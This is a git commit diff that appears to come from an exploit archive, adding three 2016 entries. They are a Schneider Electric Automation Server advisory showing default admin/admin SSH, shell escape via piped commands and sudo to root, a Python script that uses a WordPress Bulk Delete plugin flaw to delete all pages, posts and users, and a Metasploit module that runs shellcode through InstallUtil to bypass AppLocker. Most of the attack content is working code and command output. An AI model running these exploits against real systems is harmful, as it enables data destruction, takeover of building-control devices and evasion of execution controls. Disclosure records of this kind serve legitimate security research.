DB: 2016-03-04
3 new exploits
This commit is contained in:
parent
04bd5476ad
commit
b761aa35c0
4 changed files with 436 additions and 0 deletions
|
@ -35758,3 +35758,6 @@ id,file,description,date,author,platform,type,port
|
||||||
39518,platforms/windows/dos/39518.txt,"PictureTrails Photo Editor GE.exe 2.0.0 - .bmp Crash PoC",2016-03-02,redknight99,windows,dos,0
|
39518,platforms/windows/dos/39518.txt,"PictureTrails Photo Editor GE.exe 2.0.0 - .bmp Crash PoC",2016-03-02,redknight99,windows,dos,0
|
||||||
39519,platforms/win32/shellcode/39519.c,"x86 Windows Null-Free Download & Run via WebDAV Shellcode (96 bytes)",2016-03-02,"Sean Dillon",win32,shellcode,0
|
39519,platforms/win32/shellcode/39519.c,"x86 Windows Null-Free Download & Run via WebDAV Shellcode (96 bytes)",2016-03-02,"Sean Dillon",win32,shellcode,0
|
||||||
39520,platforms/win64/local/39520.txt,"Secret Net 7 and Secret Net Studio 8 - Local Privilege Escalation",2016-03-02,Cr4sh,win64,local,0
|
39520,platforms/win64/local/39520.txt,"Secret Net 7 and Secret Net Studio 8 - Local Privilege Escalation",2016-03-02,Cr4sh,win64,local,0
|
||||||
|
39521,platforms/php/webapps/39521.txt,"WordPress Bulk Delete Plugin 5.5.3 - Privilege Escalation",2016-03-03,"Panagiotis Vagenas",php,webapps,80
|
||||||
|
39522,platforms/hardware/remote/39522.txt,"Schneider Electric SBO / AS - Multiple Vulnerabilities",2016-03-03,"Karn Ganeshen",hardware,remote,0
|
||||||
|
39523,platforms/windows/local/39523.rb,"AppLocker Execution Prevention Bypass",2016-03-03,metasploit,windows,local,0
|
||||||
|
|
Can't render this file because it is too large.
|
151
platforms/hardware/remote/39522.txt
Executable file
151
platforms/hardware/remote/39522.txt
Executable file
|
@ -0,0 +1,151 @@
|
||||||
|
*# Exploit Title: [*Schneider Electric SBO / AS Multiple Vulnerabilities]
|
||||||
|
# Discovered by: Karn Ganeshen
|
||||||
|
# Vendor Homepage: [www.schneider-electric.com*] *
|
||||||
|
*# Versions Reported: [*
|
||||||
|
Automation Server Series (AS, AS-P), v1.7 and prior
|
||||||
|
*] *
|
||||||
|
# CVE-ID: [CVE-2016-2278]
|
||||||
|
|
||||||
|
About
|
||||||
|
Schneider Electric’s corporate headquarters is located in Paris, France,
|
||||||
|
and it maintains offices in more than 100 countries worldwide.
|
||||||
|
|
||||||
|
The affected product, Automation Server, is a building automation system
|
||||||
|
for small and medium-sized buildings. According to Schneider Electric,
|
||||||
|
Automation Server is deployed in the Commercial Facilities sector.
|
||||||
|
Schneider Electric estimates that this product is used worldwide.
|
||||||
|
|
||||||
|
*Vulnerabilities*
|
||||||
|
*1. Weak credential management*
|
||||||
|
CVE-ID: None [ Mitre, CVE? ]
|
||||||
|
|
||||||
|
There are two primary users:
|
||||||
|
a. root - password is not set by default - this is a problem as we will see
|
||||||
|
later in the vuln findings
|
||||||
|
- By default, root cannot SSH in.
|
||||||
|
b. admin - default password is 'admin'
|
||||||
|
- Anyone can remotely ssh in to the device using default admin/admin login.
|
||||||
|
|
||||||
|
The system / application allows a) weak creds to start with, and more
|
||||||
|
importantly, b) vulnerable versions lacks the mechanism to forcefully have
|
||||||
|
the user change the initial password on first use or later. This has been
|
||||||
|
fixed in the latest version.
|
||||||
|
|
||||||
|
*2. OS Command Injection*
|
||||||
|
*CVE-ID*: CVE-2016-2278
|
||||||
|
*https://ics-cert.us-cert.gov/advisories/ICSA-16-061-01
|
||||||
|
<https://ics-cert.us-cert.gov/advisories/ICSA-16-061-01>*
|
||||||
|
|
||||||
|
After logging in to the device over SSH, the 'admin' user - the only
|
||||||
|
active, administrative user at this point - is provided a restricted shell
|
||||||
|
(msh), which offers a small set of, application- specific functional
|
||||||
|
options.
|
||||||
|
|
||||||
|
$ ssh <IP> -l admin
|
||||||
|
Password:
|
||||||
|
|
||||||
|
Welcome! (use 'help' to list commands)
|
||||||
|
admin@box:>
|
||||||
|
|
||||||
|
admin@box:> *release*
|
||||||
|
NAME=SE2Linux
|
||||||
|
ID=se2linux
|
||||||
|
PRETTY_NAME=SE2Linux (Schneider Electric Embedded Linux)
|
||||||
|
VERSION_ID=0.2.0.212
|
||||||
|
|
||||||
|
admin@box:>
|
||||||
|
|
||||||
|
admin@box:> help
|
||||||
|
usage: help [command]
|
||||||
|
Type 'help [command]' for help on a specific command.
|
||||||
|
|
||||||
|
Available commands:
|
||||||
|
exit - exit this session
|
||||||
|
ps - report a snapshot of the current processes readlog - read log files
|
||||||
|
reboot - reboot the system
|
||||||
|
setip - configure the network interface
|
||||||
|
setlog - configure the logging
|
||||||
|
setsnmp - configure the snmp service
|
||||||
|
setsecurity - configure the security
|
||||||
|
settime - configure the system time
|
||||||
|
top - display Linux tasks
|
||||||
|
uptime - tell how long the system has been running release - tell the os
|
||||||
|
release details
|
||||||
|
|
||||||
|
Attempting to run any different command will give an error message.
|
||||||
|
|
||||||
|
However, this restricted shell functionality (msh) can be bypassed to
|
||||||
|
execute underlying system commands, by appending '| <command>' to any of
|
||||||
|
the above set of commands:
|
||||||
|
|
||||||
|
admin@box:> *uptime | ls*
|
||||||
|
bin home lost+found root sys config include mnt run tmp dev lib opt sbin usr
|
||||||
|
etc localization proc share var
|
||||||
|
|
||||||
|
At this point, basically you have full (indirect) control over the server.
|
||||||
|
|
||||||
|
admin@box:> *uptime | cat /etc/passwd *
|
||||||
|
|
||||||
|
root:x:0:0:root:/:/bin/sh
|
||||||
|
daemon:x:2:2:daemon:/sbin:/bin/false
|
||||||
|
messagebus:x:3:3:messagebus:/sbin:/bin/false
|
||||||
|
ntp:x:102:102:ntp:/var/empty/ntp:/bin/false
|
||||||
|
sshd:x:103:103:sshd:/var/empty:/bin/false
|
||||||
|
app:x:500:500:Linux Application:/:/bin/false
|
||||||
|
admin:x:1000:1000:Linux User,,,:/:/bin/msh
|
||||||
|
|
||||||
|
admin@box:> uptime | cat /etc/group
|
||||||
|
root:x:0:
|
||||||
|
wheel:x:1:admin
|
||||||
|
daemon:x:2:
|
||||||
|
messagebus:x:3:
|
||||||
|
adm:x:5:admin
|
||||||
|
power:x:20:app
|
||||||
|
serial:x:21:app
|
||||||
|
cio:x:22:app
|
||||||
|
lon:x:23:app
|
||||||
|
daemonsv:x:30:admin,app
|
||||||
|
utmp:x:100:
|
||||||
|
lock:x:101:
|
||||||
|
ntp:x:102:
|
||||||
|
sshd:x:103:
|
||||||
|
app:x:500:admin
|
||||||
|
admin:x:1000:admin
|
||||||
|
|
||||||
|
*3. Privilege Escalation / access to superuser 'root'*
|
||||||
|
CVE-ID: None [ Mitre, CVE? ]
|
||||||
|
|
||||||
|
Since this is an administrative user, an attacker can exploit OS command
|
||||||
|
injection to perform a variety of tasks from msh shell. But isn’t it better
|
||||||
|
to get a root shell instead.!
|
||||||
|
|
||||||
|
As observed from Issue 1 above, root does not have a password set, and it
|
||||||
|
is possible to use 'sudo -i' and become root.
|
||||||
|
|
||||||
|
*Note*: sudo is not presented / offered to 'admin' in the set of functional
|
||||||
|
options available thru msh. It is required for tech guys / legit admins /
|
||||||
|
SBO admins to manage the AS system and related functionality. Assumption
|
||||||
|
from SE team is, a low-skilled attacker / regular, unsophisticated,
|
||||||
|
non-technical user will not be able to figure it out. If someone does
|
||||||
|
figure it out, he/she will be responsible enough not to go evill.!
|
||||||
|
|
||||||
|
admin@box:> *sudo -i*
|
||||||
|
|
||||||
|
We trust you have received the usual lecture from the local System
|
||||||
|
Administrator. It usually boils down to these three things:
|
||||||
|
|
||||||
|
#1) Respect the privacy of others.
|
||||||
|
#2) Think before you type.
|
||||||
|
#3) With great power comes great responsibility.
|
||||||
|
|
||||||
|
Password:
|
||||||
|
|
||||||
|
root@box:~> cat /etc/shadow
|
||||||
|
root:!:16650:0:99999:7:::
|
||||||
|
sshd:!:1:0:99999:7:::
|
||||||
|
admin:$6$<hash>:16652:0:99999:7:::
|
||||||
|
|
||||||
|
+++++
|
||||||
|
--
|
||||||
|
Best Regards,
|
||||||
|
Karn Ganeshen
|
134
platforms/php/webapps/39521.txt
Executable file
134
platforms/php/webapps/39521.txt
Executable file
|
@ -0,0 +1,134 @@
|
||||||
|
'''
|
||||||
|
* Exploit Title: WordPress Bulk Delete Plugin [Privilege Escalation]
|
||||||
|
* Discovery Date: 2016-02-10
|
||||||
|
* Exploit Author: Panagiotis Vagenas
|
||||||
|
* Author Link: https://twitter.com/panVagenas
|
||||||
|
* Vendor Homepage: http://bulkwp.com/
|
||||||
|
* Software Link: https://wordpress.org/plugins/bulk-delete/
|
||||||
|
* Version: 5.5.3
|
||||||
|
* Tested on: WordPress 4.4.2
|
||||||
|
* Category: WebApps, WordPress
|
||||||
|
|
||||||
|
|
||||||
|
Description
|
||||||
|
-----------
|
||||||
|
|
||||||
|
_Bulk Delete_ plugin for WordPress suffers from a privilege escalation
|
||||||
|
vulnerability. Any registered user can exploit the lack of capabilities
|
||||||
|
checks to perform all administrative tasks provided by the _Bulk Delete_
|
||||||
|
plugin. Some of these actions, but not all, are:
|
||||||
|
|
||||||
|
- `bd_delete_pages_by_status`: deletes all pages by status
|
||||||
|
- `bd_delete_posts_by_post_type`: deletes all posts by type
|
||||||
|
- `bd_delete_users_by_meta`: delete all users with a specific pair of
|
||||||
|
meta name, meta value
|
||||||
|
|
||||||
|
Nearly all actions registered by this plugin can be performed from any
|
||||||
|
user, as long as they passed to a query var named `bd_action` and the
|
||||||
|
user has a valid account. These actions would normally require
|
||||||
|
administrative wrights, so we can consider this as a privilege
|
||||||
|
escalation vulnerability.
|
||||||
|
|
||||||
|
PoC
|
||||||
|
---
|
||||||
|
|
||||||
|
The following script will delete all pages, posts and users from the
|
||||||
|
infected website.
|
||||||
|
'''
|
||||||
|
|
||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# Bulk Delete Privilege Escalation Exploit
|
||||||
|
#
|
||||||
|
# **IMPORTANT** Don't use this in a production site, if vulnerable it will
|
||||||
|
# delete nearly all your sites content
|
||||||
|
#
|
||||||
|
# Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
loginUrl = 'http://example.com/wp-login.php'
|
||||||
|
adminUrl = 'http://example.com/wp-admin/index.php'
|
||||||
|
|
||||||
|
loginPostData = {
|
||||||
|
'log': 'username',
|
||||||
|
'pwd': 'password',
|
||||||
|
'rememberme': 'forever',
|
||||||
|
'wp-submit': 'Log+In'
|
||||||
|
}
|
||||||
|
|
||||||
|
l = requests.post(loginUrl, data=loginPostData)
|
||||||
|
|
||||||
|
if l.status_code != 200 or len(l.history) == 0 or
|
||||||
|
len(l.history[0].cookies) == 0:
|
||||||
|
print("Couldn't acquire a valid session")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
loggedInCookies = l.history[0].cookies
|
||||||
|
|
||||||
|
def do_action(action, data):
|
||||||
|
try:
|
||||||
|
requests.post(
|
||||||
|
adminUrl + '?bd_action=' + action,
|
||||||
|
data=data,
|
||||||
|
cookies=loggedInCookies,
|
||||||
|
timeout=30
|
||||||
|
)
|
||||||
|
except TimeoutError:
|
||||||
|
print('Action ' + action + ' timed out')
|
||||||
|
else:
|
||||||
|
print('Action ' + action + ' performed')
|
||||||
|
|
||||||
|
print('Deleting all pages')
|
||||||
|
do_action(
|
||||||
|
'delete_pages_by_status',
|
||||||
|
{
|
||||||
|
'smbd_pages_force_delete': 'true',
|
||||||
|
'smbd_published_pages': 'published_pages',
|
||||||
|
'smbd_draft_pages': 'draft_pages',
|
||||||
|
'smbd_pending_pages': 'pending_pages',
|
||||||
|
'smbd_future_pages': 'future_pages',
|
||||||
|
'smbd_private_pages': 'private_pages',
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
print('Deleting all posts from all default post types')
|
||||||
|
do_action('delete_posts_by_post_type', {'smbd_types[]': [
|
||||||
|
'post',
|
||||||
|
'page',
|
||||||
|
'attachment',
|
||||||
|
'revision',
|
||||||
|
'nav_menu_item'
|
||||||
|
]})
|
||||||
|
|
||||||
|
print('Deleting all users')
|
||||||
|
do_action(
|
||||||
|
'delete_users_by_meta',
|
||||||
|
{
|
||||||
|
'smbd_u_meta_key': 'nickname',
|
||||||
|
'smbd_u_meta_compare': 'LIKE',
|
||||||
|
'smbd_u_meta_value': '',
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
|
||||||
|
'''
|
||||||
|
Solution
|
||||||
|
--------
|
||||||
|
|
||||||
|
Upgrade to v5.5.4
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
--------
|
||||||
|
|
||||||
|
1. **2016-02-10**: Requested CVE ID
|
||||||
|
2. **2016-02-10**: Vendor notified through wordpress.org support forums
|
||||||
|
3. **2016-02-10**: Vendor notified through the contact form at bulkwp.com
|
||||||
|
4. **2016-02-10**: Vendor responded and received details about the issue
|
||||||
|
5. **2016-02-10**: Vendor verified vulnerability
|
||||||
|
6. **2016-02-13**: Vendor released v5.5.4 which resolves this issue
|
||||||
|
'''
|
148
platforms/windows/local/39523.rb
Executable file
148
platforms/windows/local/39523.rb
Executable file
|
@ -0,0 +1,148 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Post::File
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'AppLocker Execution Prevention Bypass',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will generate a .NET service executable on the target and utilise
|
||||||
|
InstallUtil to run the payload bypassing the AppLocker protection.
|
||||||
|
|
||||||
|
Currently only the InstallUtil method is provided, but future methods can be
|
||||||
|
added easily.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Casey Smith', # Original AppLocker bypass research
|
||||||
|
'OJ Reeves' # MSF module
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win' ],
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
'Targets' => [ [ 'Windows', {} ] ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate'=> 'Aug 3 2015',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://gist.github.com/subTee/fac6af078937dda81e57']
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptEnum.new('TECHNIQUE', [true, 'Technique to use to bypass AppLocker',
|
||||||
|
'INSTALLUTIL', %w(INSTALLUTIL)])])
|
||||||
|
end
|
||||||
|
|
||||||
|
# Run Method for when run command is issued
|
||||||
|
def exploit
|
||||||
|
if datastore['TECHNIQUE'] == 'INSTALLUTIL'
|
||||||
|
if payload.arch.first == 'x64' && sysinfo['Architecture'] !~ /64/
|
||||||
|
fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# sysinfo is only on meterpreter sessions
|
||||||
|
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
|
||||||
|
|
||||||
|
if datastore['TECHNIQUE'] == 'INSTALLUTIL'
|
||||||
|
execute_installutil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_installutil
|
||||||
|
envs = get_envs('TEMP', 'windir')
|
||||||
|
|
||||||
|
dotnet_path = get_dotnet_path(envs['windir'])
|
||||||
|
print_status("Using .NET path #{dotnet_path}")
|
||||||
|
|
||||||
|
cs_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.cs"
|
||||||
|
exe_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.exe"
|
||||||
|
|
||||||
|
installutil_path = "#{dotnet_path}\\InstallUtil.exe"
|
||||||
|
|
||||||
|
print_status("Writing payload to #{cs_path}")
|
||||||
|
write_file(cs_path, generate_csharp_source)
|
||||||
|
register_files_for_cleanup(cs_path)
|
||||||
|
|
||||||
|
print_status("Compiling payload to #{exe_path}")
|
||||||
|
csc_path = "#{dotnet_path}\\csc.exe"
|
||||||
|
csc_platform = payload.arch.first == 'x86' ? 'x86' : 'x64'
|
||||||
|
vprint_status("Executing: #{csc_path} /target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")
|
||||||
|
cmd_exec(csc_path, "/target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")
|
||||||
|
|
||||||
|
print_status("Executing payload ...")
|
||||||
|
vprint_status("Executing: #{installutil_path} /logfile= /LogToConsole=false /U #{exe_path}")
|
||||||
|
client.sys.process.execute(installutil_path, "/logfile= /LogToConsole=false /U #{exe_path}", {'Hidden' => true})
|
||||||
|
register_files_for_cleanup(exe_path)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_dotnet_path(windir)
|
||||||
|
base_path = "#{windir}\\Microsoft.NET\\Framework#{payload.arch.first == 'x86' ? '' : '64'}"
|
||||||
|
paths = dir(base_path).select {|p| p[0] == 'v'}
|
||||||
|
dotnet_path = nil
|
||||||
|
|
||||||
|
paths.reverse.each do |p|
|
||||||
|
path = "#{base_path}\\#{p}"
|
||||||
|
if directory?(path) && file?("#{path}\\InstallUtil.exe")
|
||||||
|
dotnet_path = path
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless dotnet_path
|
||||||
|
fail_with(Failure::NotVulnerable, '.NET is not present on the target.')
|
||||||
|
end
|
||||||
|
|
||||||
|
dotnet_path
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_csharp_source
|
||||||
|
sc = payload.encoded.each_byte.map {|b| "0x#{b.to_s(16)}"}.join(',')
|
||||||
|
cs = %Q^
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Pop
|
||||||
|
{
|
||||||
|
public class Program { public static void Main() { } }
|
||||||
|
|
||||||
|
[System.ComponentModel.RunInstaller(true)]
|
||||||
|
public class Pop : System.Configuration.Install.Installer
|
||||||
|
{
|
||||||
|
private static Int32 MEM_COMMIT=0x1000;
|
||||||
|
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
|
||||||
|
private static UInt32 INFINITE = 0xFFFFFFFF;
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||||
|
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||||
|
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||||
|
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
|
||||||
|
|
||||||
|
public override void Uninstall(System.Collections.IDictionary s)
|
||||||
|
{
|
||||||
|
byte[] sc = new byte[] {#{sc}};
|
||||||
|
IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);
|
||||||
|
IntPtr id = IntPtr.Zero;
|
||||||
|
WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
^
|
||||||
|
|
||||||
|
cs
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Add table
Reference in a new issue